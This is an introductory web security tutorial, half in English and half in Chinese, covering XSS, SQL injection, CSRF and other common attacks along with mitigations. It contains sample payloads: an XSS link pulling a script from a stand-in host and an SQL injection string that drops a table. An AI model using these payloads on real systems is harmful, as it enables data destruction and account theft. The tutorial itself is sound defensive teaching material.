Website security

Website security requires vigilance in all aspects of website design and usage. This introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.

What is website security?

The Internet is a dangerous place! With great regularity we hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their home pages. In other high-profile cases millions of passwords, email addresses and credit card details have been leaked into the public domain, exposing website users to both personal embarrassment and financial risk.

The purpose of website security is to prevent these (or any) sorts of attacks. More formally, website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction or disruption.

Effective website security requires design effort across the whole of the website: in your web application, in the configuration of the web server, in your policies for creating and renewing passwords, and in client-side code. While that all sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly already enable robust and well-thought-out defence mechanisms against a number of the more common attacks "by default". Other attacks can be mitigated through your web server configuration, for example enabling HTTPS. Finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes.

The rest of this article provides more detail about a few common threats and some of the simple steps you can take to protect your site.

Website security threats

这个部分列举了常见网站攻击手段以及如何减轻它们带来的危害。当你读的时候请注意，这些攻击是如何得手的，当web应用相信这些来自浏览器的信息或者不够坚持自己的时候。

跨站脚本 (XSS)

XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts through the website into the browsers of other users. As the injected code comes to the browser from the site it is trusted, and can hence do things like sending the user's site authorisation cookie to the attacker. Once the attacker has the cookie they can log into a site as though they were the user and do anything the user can. Depending on what site it is, this could include accessing their credit card details, seeing contact details, changing passwords, etc.

There are two main approaches for getting the site to return injected scripts to a browser — these are referred to as reflected and persistent XSS vulnerabilities.

• A reflected XSS vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser — any scripts in the original user content will be run when the new page is loaded!
  For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.
• A persistent XSS vulnerability is one where the malicious script is stored by the website and then later redisplayed unmodified for other users to unwittingly execute.
  For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful, because the attacker doesn't have to have any direct engagement with the victims.
  
  While POST or GET data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).

The best defence against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run code. For HTML this includes tags like <script>, <object>, <embed>, and <link>.

SQL 注入

SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.

This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (userName) that has been supplied from an HTML form:

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

If the user enters a real name, this will work as intended. However a malicious user could completely change the behaviour of this SQL statement to the new statement below, simply by specifying the "bold" text below for the userName. The modified statement creates a valid SQL statement that deletes the users table and selects all data from the userinfo table (revealing the information of every user). This works because the first part of the injected text (a';) completes the original statement (' is the symbol to deliniate a string literal in SQL).

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to escape all the characters in the user input that have a special meaning in SQL.

In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)

SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.

跨站请求伪造 (CSRF)

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.

This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP POST request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the Submit button disguised as a link to a "get rich quick" site).

If a user clicks the submit button, an HTTP POST request will be sent to the server containing the transaction details and any client-side cookies that the browser associates with the site (adding associated site cookies to requests is normal browser behaviour). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

The result is that any user who clicks the Submit button while they are logged in to the trading site will make the transaction. John gets rich!

One way to prevent this type of attack is for the server to require that POST requests includes a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.

Web frameworks often include such CSRF prevention mechanisms.

其他威胁

Other common attacks/vulnerabilities include:

• Clickjacking. In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible <iframe> controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defence your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.
• Denial of Service (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defences usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defences are typically within or before the web server (they are not part of the web application itself).
• Directory Traversal/File and disclosure. In this type of attack a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. ../../). The solution is to sanitize input before using it.
• File Inclusion. In this attack a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.
• Command Injection. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.

There are many more. For a comprehensive listing see Category:Web security exploits (Wikipedia) and Category:Attack (Open Web Application Security Project).

一些关键信息

Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. 无论你做什么其它的事情来提升你的网站的安全性能，在将信息展示在浏览器之前、在使用SQL语句进行查询之前、在传递给一个操作系统或者文件系统之前，你应该过滤掉所有的用户源信息。

你可以采取一些简单的步骤：

• 采取更加强大的密码管理措施。当密码频繁更换时鼓励更加健壮的密码。采取双因素认证，也就是说除了密码，用户还应该输入另一种认证码（通常是只有唯一一个用户拥有的通过一些物理硬件传输的，比如发送给用户手机的验证短信）。
• 将你的服务器配制成 HTTPS 和 HTTP Strict Transport Security (HSTS)。HTTPS 会加密你的用户和服务器之间传输的信息。这使得登录认证、cookise、POST数据及头信息不易被攻击者获得。
• 持续追踪那些常见的网络攻击 (the current OWASP list is here)，先解决最脆弱的部分。
• 使用 vulnerability scanning tools 来对你的网站进行一些安全测试(然后，你的非常受欢迎的网站还可以靠提供赏金来寻找bug，就像Mozilla这样（like Mozilla does here）。
• 只存储和展示你不得不需要的东西。比如，如果你的用户不得不存储一些敏感信息（如信用卡详明），只展示足以让用户识别卡号的几位数字即可，却不足以让黑客复制之后在另一个站点使用。现今最常见的是只展示信用卡卡号后4位数字。

web框架可以帮助抵御很多常见的攻击。

总结

这篇文章介绍了有关网络安全的概念和你应该避免的一些常见的攻击。最重要的是，你应该明白一个web应用不可以相信任何来自网络服务器的数据！所与哦的用户数据在展示、使用SQL查询或者回应系统之前应该被过滤。

这也是这个模块的结尾，涵盖了你之前在服务器端编程学到的知识。我们希望你非常享受这个学习基础概念的过程，并且你现在已经准备好选择一个web框架开始编程了。